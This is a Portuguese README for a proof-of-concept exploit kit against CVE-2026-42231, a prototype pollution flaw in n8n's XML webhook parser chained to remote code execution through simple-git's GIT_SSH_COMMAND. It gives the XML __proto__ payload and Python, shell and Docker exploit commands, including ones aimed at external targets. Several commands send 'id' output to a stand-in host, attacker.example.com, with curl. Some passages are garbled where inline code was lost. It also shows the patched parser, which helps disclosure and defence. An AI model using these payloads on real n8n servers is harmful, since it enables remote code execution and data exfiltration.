
Prova de conceito de exploração para CVE-2026-42231, uma vulnerabilidade crítica de poluição de protótipo em webhooks XML do n8n que leva à execução remota de código. Inclui laboratório Docker, PoC em Python e verificador em Node.js.
CVE: CVE-2026-42231
Gravidade: Crítica (CVSS 10.0)
Afetados: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corrigido em: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts cria um
singleton xml2js Parser em nível de módulo sem tagNameProcessors ou
attrNameProcessors. Isso permite que um atacante envie um corpo de webhook XML
contendo um elemento <__proto__>.
xml2js 0.6.2 usa Object.defineProperty com um descritor de dados para definir
chaves de elementos em objetos analisados. Como é sempre
, envolve o valor em um array e o armazena como uma
— contornando o accessor que
normalmente atualizaria a cadeia de protótipos com segurança.
'__proto__' in objtrueassignOrPush()[[Set]]A propriedade própria __proto__ sobrevive ao JSON.stringify (executado quando o n8n
persiste dados de execução no SQLite/PostgreSQL), e após JSON.parse no
recarregamento, um Object.assign(target, reloadedBody) subsequente redireciona
o protótipo de target para o objeto controlado pelo atacante.
Em workflows que também contêm um nó Git realizando uma operação SSH,
o protótipo poluído expõe um valor spawnOptions / GIT_SSH_COMMAND
ao createInstanceConfig do simple-git, permitindo execução de comandos
em nível de sistema operacional.
// packages/cli/src/middlewares/body-parser.ts (VULNERÁVEL — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // converte tags para minúsculas — mas NÃO bloqueia __proto__
explicitArray: false,
// ← SEM tagNameProcessors
// ← SEM attrNameProcessors
});
Correção (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. O atacante envia um POST XML para um trigger de Webhook público:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. O parser de corpo xml2js cria req.body.root onde '__proto__' é uma
PROPRIEDADE DE DADOS ENUMERÁVEL PRÓPRIA:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. O deepCopy() do n8n itera chaves próprias via for...in + hasOwnProp.
A atribuição clone['__proto__'] = deepCopy(attackerArray)
substitui silenciosamente o protótipo de clone via o accessor [[Set]].
4. O n8n serializa dados de execução para o banco de dados:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
A chave __proto__ é incluída porque é própria e enumerável.
Confirmado na tabela execution_data no SQLite.
5. No recarregamento, JSON.parse recria '__proto__' como uma propriedade de dados
própria (objeto simples, sem envolvimento em array).
Object.assign(gitOptions, reloadedBody)
redireciona o protótipo de gitOptions para o objeto controlado pelo atacante.
6. Quando o nó Git chama simpleGit(gitOptions):
createInstanceConfig(gitOptions)
lê config.spawnOptions via a cadeia de protótipos → truthy →
spawnOptionsPlugin é registrado.
Com GIT_SSH_COMMAND no objeto env, o git executa o comando do
atacante na próxima operação SSH.
normalizeTagsnormalizeTags: true converte todas as tags XML para minúsculas, então elementos filhos
como <GIT_SSH_COMMAND> tornam-se git_ssh_command no objeto analisado.
Para preservar maiúsculas/minúsculas em nomes de variáveis de ambiente, use atributos XML
(nomes de atributos não são normalizados por normalizeTags):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
Isso baixa n8nio/n8n:1.123.22 (última versão afetada), constrói a
imagem do atacante, inicia o alvo vulnerável em http://localhost:5678,
cria e ativa um workflow de webhook automaticamente, e salva a
URL do webhook em .webhook_state.
./exploit.sh setup
Saída esperada (truncada):
[*] Baixando imagem vulnerável do n8n (1.123.22) ...
[*] Construindo imagem do atacante ...
[*] Iniciando alvo n8n vulnerável ...
[*] Aguardando o n8n ficar saudável ...
[*] Criando workflow de webhook (Webhook → nó Code) ...
[+] Laboratório pronto.
Execute: ./exploit.sh demo # verificar a primitiva de poluição
./exploit.sh exploit # entregar os três payloads de RCE
./exploit.sh demo
O PoC envia um payload de verificação e mostra o corpo analisado ecoado de volta do workflow do n8n. Uma instância vulnerável retorna:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# ou com um comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Três payloads complementares são entregues:
| Payload | Técnica |
|---|---|
| A | Tag <__proto__> — GIT_SSH_COMMAND como atributo XML |
| B | Cadeia <constructor><prototype> |
| C | <__proto__> aninhado com atributos env |
GIT_SSH_COMMAND injetado se o RCE disparou."step4_objectAssignPolluted": true confirmando a cadeia.pip install -r requirements.txt
# Apenas verificação — sem necessidade de nó Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <caminho-do-webhook> \
--demo
# Exploit completo — requer workflow com Webhook + nó Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <caminho-do-webhook> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
Em algumas implantações, o n8n registra o webhook como
/webhook/<workflowId>/webhook/<caminho>. Se a forma curta
/webhook/<caminho> retornar 404, passe o prefixo do workflow-ID como --target:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <caminho> \
--demo
Reproduz a configuração exata do parser xml2js usada pelo n8n e percorre todos os quatro estágios da cadeia:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
Saída esperada na configuração vulnerável:
[STEP 1] VULNERÁVEL — '__proto__' é propriedade de dados enumerável própria
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Parser corrigido renomeou __proto__ para sanitized___proto__
[STEP 2] deepCopy prototype alterado → clone proto[1].polluted = "CONFIRMED"
[STEP 3] Após JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] Se target for usado como config do simpleGit E o protótipo expuser
ex.: { spawnOptions: { shell: true } }, o git será iniciado através de um shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (encontrado via cadeia de protótipos)
[ RCE ] simpleGit chamaria: spawnOptionsPlugin(config.spawnOptions)
══ RESULTADO: Instância usa configuração xml2js VULNERÁVEL (sem sanitizeXmlName) ══
# Construir a imagem do atacante
docker build -t n8n-proto-pollution-poc .
# Modo demo (anexa à rede do laboratório compartilhado)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# Exploit completo
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# Contra um alvo externo (sem necessidade de flag de rede)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <caminho> \
--demo
./exploit.sh clean
Para containers e remove volumes (incluindo o banco de dados SQLite).
| Arquivo | Descrição |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | PoC HTTP Python autônomo — três variantes de payload XML, modos --demo e --cmd |
verify_GHSA-q5f4-99jv-pgg5.js | Verificador local de cadeia em Node.js — percorre todos os 4 estágios de exploração sem instância ativa |
Dockerfile | Imagem do container do atacante |
docker-compose.yml | Laboratório completo: n8n vulnerável + container do atacante |
exploit.sh | Script auxiliar para setup, demo, exploit e limpeza |
requirements.txt | Dependências Python |